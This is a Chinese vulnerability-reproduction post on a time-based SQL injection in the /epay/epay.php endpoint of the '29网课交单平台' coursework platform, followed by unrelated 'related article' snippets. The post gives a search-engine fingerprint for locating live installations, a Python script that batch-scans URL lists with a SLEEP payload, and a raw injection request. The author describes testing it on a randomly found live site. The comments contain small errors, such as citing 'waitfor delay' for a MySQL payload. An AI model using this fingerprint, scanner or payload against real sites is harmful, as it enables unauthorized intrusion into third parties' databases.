【漏洞复现】29网课交单平台 SQL注入

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

29网课交单平台是一个在线学习平台,用于帮助学生完成网络课程的学习任务。这个平台提供了包括登录、注册、用户界面、任务进度列表等多种功能,用户可以通过平台管理自己的学习进度,查看和提交作业等。但是这个于平台在 /epay/epay.php 接口处存在sql注入漏洞。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="你在看什么呢?我写的代码好看吗"

2.使用poc批量扫描

import http.client  # 导入http.client模块,用于发送HTTP请求
import ssl          # 导入ssl模块,用于处理SSL证书验证
import argparse     # 导入argparse模块,用于解析命令行参数
from urllib.parse import urlparse  # 导入urlparse函数,用于解析URL
import time         # 导入time模块,用于计算时间差

# 定义控制台输出颜色代码
RED = '\033[91m'   # 红色
RESET = '\033[0m'  # 重置颜色

def check_vulnerability(url):
    """
    检查给定URL是否存在特定的SQL注入漏洞。
    """
    try:
        # 解析URL,获取域名和协议
        parsed_url = urlparse(url)
        
        # 设置请求的路径和数据体
        path = "/epay/epay.php"  # 要请求的路径
        
        # 构造POST请求的数据体,包含潜在的SQL注入payload
        body = "out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",  # 设置Content-Type头
            "User-Agent": "Mozilla/5.0"  # 设置User-Agent头
        }
        
        # 根据URL的协议创建连接对象,如果是HTTPS则忽略证书验证
        conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)
        
        # 记录开始时间
        start_time = time.time()
        
        # 发送POST请求
        conn.request("POST", path, body=body, headers=headers)
        
        # 获取服务器响应
        response = conn.getresponse()
        
        # 计算请求耗时
        elapsed_time = time.time() - start_time
        
        # 如果响应时间在3到5秒之间,可能表明存在SQL注入漏洞(因为waitfor delay '0:0:3'会延迟响应)
        if 3 <= elapsed_time <= 5:
            print(f"{RED}URL [{url}] 可能存在29网课交单平台 epay.php SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except Exception as e:
        # 如果请求失败,打印错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    主函数,解析命令行参数并调用漏洞检查函数。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在29网课交单平台 epay.php SQL注入漏洞')
    
    # 添加命令行参数选项
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    
    # 解析命令行参数
    args = parser.parse_args()
    
    # 如果指定了单个URL,进行漏洞检查
    if args.url:
        # 确保URL格式正确
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    
    # 如果指定了包含多个URL的文件,逐个读取并进行漏洞检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()  # 读取所有行并去除换行符
            for url in urls:
                # 确保URL格式正确
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 当作为主程序运行时,调用main函数
if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /epay/epay.php HTTP/1.1
Host:ip
Content-Type: application/x-www-form-urlencoded
 
out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

2.数据包分析 

  1. POST: 这是一个HTTP方法,用于向服务器提交数据。

  2. /epay/epay.php: 这是请求的URI,指定了服务器上处理这个请求的具体位置。

  3. HTTP/1.1: 这是使用的HTTP协议版本。

  4. Host: ip: 这里的Host头部字段指定了接收请求的服务器的地址。

  5. Content-Type: application/x-www-form-urlencoded: 这指示了请求体(body)的数据编码格式。

  6. 请求体(Request Body):out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

    • out_trade_no=是参数名,正常情况下,它可能表示一个交易编号。
    • 'AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC 是追加到参数值中的恶意内容,目的在于测试和利用SQL注入漏洞。
    • SLEEP(5) 是一个MySQL函数,它会暂停(sleep)执行5秒。如果这个请求导致服务器延迟响应5秒,那么攻击者可以确认SQL注入漏洞存在,因为这意味着他们输入的SQL代码已经被数据库执行。
    • 'aEmC'='aEmC 是为了使SQL语句在逻辑上成立(永远为true),从而不干扰原查询的其他部分。

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

寄语:给时光以生命,给岁月以文明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/787349.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

过滤器与拦截器区别、应用场景介绍

我们在进行 Web 应用开发时&#xff0c;时常需要对请求进行拦截或处理&#xff0c;故 Spring 为我们提供了过滤器和拦截器来应对这种情况。 那么两者之间有什么不同呢&#xff1f;本文将详细讲解两者的区别和对应的使用场景。 过滤器 过滤器是一种在 Java Web 应用中用于处理…

Celery,一个实时处理的 Python 分布式系统

大家好&#xff01;我是爱摸鱼的小鸿&#xff0c;关注我&#xff0c;收看每期的编程干货。 一个简单的库&#xff0c;也许能够开启我们的智慧之门&#xff0c; 一个普通的方法&#xff0c;也许能在危急时刻挽救我们于水深火热&#xff0c; 一个新颖的思维方式&#xff0c;也许能…

Start LoongArch64 Alpine Linux VM on x86_64

一、Build from source(build on x86_64) Obtain the latest libvirt, virt manager, and QEMU source code, compile and install them 1.1 Build libvirt from source sudo apt-get update sudo apt-get install augeas-tools bash-completion debhelper-compat dh-apparmo…

Python学习笔记33:进阶篇(二十二)pygame的使用之image模块

前言 基础模块的知识通过这么长时间的学习已经有所了解&#xff0c;更加深入的话需要通过完成各种项目&#xff0c;在这个过程中逐渐学习&#xff0c;成长。 我们的下一步目标是完成python crash course中的外星人入侵项目&#xff0c;这是一个2D游戏项目。在这之前&#xff…

Codeforces Round 954 (Div. 3) F. Non-academic Problem

思路&#xff1a;考虑缩点&#xff0c;因为是无向图&#xff0c;所以双连通分量缩完点后是一棵树&#xff0c;我们去枚举删除每一条树边的答案&#xff0c;然后取最小值即可。 #include <bits/stdc.h>using namespace std; const int N 3e5 5; typedef long long ll; …

Profibus转ModbusTCP网关模块实现Profibus_DP向ModbusTCP转换

Profibus和ModbusTCP是工业控制自动化常用的二种通信协议。Profibus是一种串口通信协议&#xff0c;它提供了迅速靠谱的数据传输和各种拓扑结构&#xff0c;如总线和星型构造。Profibus可以和感应器、执行器、PLC等各类设备进行通信。 ModbusTCP是一种基于TCP/IP协议的通信协议…

Clickhouse的联合索引

Clickhouse 有了单独的键索引&#xff0c;为什么还需要有联合索引呢&#xff1f;了解过mysql的兄弟们应该都知道这个事。 对sql比较熟悉的兄弟们估计看见这个联合索引心里大概有点数了&#xff0c;不过clickhouse的联合索引相比mysql的又有些不一样了&#xff0c;mysql 很遵循最…

Springboot各个版本维护时间

Springboot各个版本维护时间

【 正己化人】 把自己做好,能解决所有问题

阳明先生说&#xff1a;与朋友一起辩论学问&#xff0c;纵然有人言辞观点浅近粗疏&#xff0c;或者是炫耀才华、显扬自己&#xff0c;也都不过是毛病发作。只要去对症下药就好&#xff0c;千万不能怀有轻视别人的心理&#xff0c;因为那不是君子与人为善的心。 人会爱发脾气、…

微信服务里底部的不常用功能如何优化的数据分析思路

图片.png 昨天下午茶时光&#xff0c;和闺蜜偶然聊起&#xff0c;其实在微信服务底部&#xff0c;有很多被我们忽略遗忘&#xff0c;很少点过用过的功能服务&#xff0c;往往进入服务只为了收付款或进入钱包&#xff0c;用完就走了&#xff0c;很少拉到底部&#xff0c;看到和用…

Python函数 之 函数基础

print() 在控制台输出 input() 获取控制台输⼊的内容 type() 获取变量的数据类型 len() 获取容器的⻓度 (元素的个数) range() ⽣成⼀个序列[0, n) 以上都是我们学过的函数&#xff0c;函数可以实现⼀个特定的功能。我们将学习⾃⼰如何定义函数, 实现特定的功能。 1.函数是什么…

LiveNVR监控流媒体Onvif/RTSP用户手册-录像计划:批量配置、单个配置、录像保存(天)、配置时间段录像

TOC 1、录像计划 支持单个通道 或是 通道范围内配置支持快速滑选支持录像时间段配置 1.1、录像存储位置如何配置&#xff1f; 2、RTSP/HLS/FLV/RTMP拉流Onvif流媒体服务 支持 Windows Linux 及其它CPU架构&#xff08;国产、嵌入式…&#xff09;操作系统安装包下载 、 安装…

亚马逊跟卖采集选品,2小时自动检索3000条商品数据与...

自动查商标局2个小时2928条数据。 ERP采集3000条数据需要多久&#xff1f;10&#xff1a;34开始的&#xff0c;12&#xff1a;52分&#xff0c;应该是两个小时多。采集3000条数据&#xff0c;2928条&#xff0c;平均每个就是3秒左右。 可以看一下采集出来的数据&#xff0c;打…

【C++知识点总结全系列 (08)】:面向对象编程OOP

这里写目录标题 1、OOP概述(1)面向对象四大特征A.抽象B.封装C.继承D.多态 (2)构造函数A.What&#xff08;什么是构造函数&#xff09;B.Why&#xff08;构造函数的作用&#xff09;C. Which&#xff08;有哪些构造函数&#xff09; (3)析构函数A.What&#xff08;什么是析构函数…

Python基础知识——(003)

文章目录 P12——11. 保留字和标识符 1. 保留字 2. Python标识符的命名规则&#xff08;必须遵守&#xff09; 3. Python标识符的命名规范&#xff08;建议遵守&#xff09; P13——12. 变量与常量 变量的语法结构 变量命名应遵循以下几条规则 常量 P14——13. 数值类型…

数据结构作业/2024/7/9

2>实现双向循环链表的创建、判空、尾插、遍历、尾删、销毁 fun.c #include "head.h" //1.双向循环链表的创建 doubleloop_ptr create_list() …

如何在 PostgreSQL 中确保数据的异地备份安全性?

文章目录 一、备份策略1. 全量备份与增量备份相结合2. 定义合理的备份周期3. 选择合适的备份时间 二、加密备份数据1. 使用 PostgreSQL 的内置加密功能2. 使用第三方加密工具 三、安全的传输方式1. SSH 隧道2. SFTP3. VPN 连接 四、异地存储的安全性1. 云存储服务2. 内部存储设…

Spring Cloud 引入

1.单体架构&#xff1a; 定义&#xff1a;所有的功能实现都打包成一个项目 带来的后果&#xff1a; ①后端服务器的压力越来越大&#xff0c;负载越来越高&#xff0c;甚至出现无法访问的情况 ②业务越来越复杂&#xff0c;为了满足用户的需求&#xff0c;单体应用也会越来越…

C#Modbus通信

目录 1&#xff0c;辅助工具。 2&#xff0c;初识Modbus。 3&#xff0c;基于ModbusRTU的通信。 3.1&#xff0c;RTU与ASCII模式区别 3.2&#xff0c;Modbus存储区 3.3&#xff0c;报文格式 3.4&#xff0c;异常代码 3.5&#xff0c;详细文档连接 。 3.6&#xff0c;代…

数据结构——顺序表【C】

顺序表 1. 顺序表的概念以及结构1.1概念1.2静态顺序表和动态顺序表 2. 顺序表接口模拟实现接口总览2.1 初始化数据和销毁容器 2.2 顺序表的尾插和尾删2.3 头插和头删2.4 任意位置插入和删除数据2.5 查找数据 3. 顺序表的问题 &#xff1a; 1. 顺序表的概念以及结构 1.1概念 顺…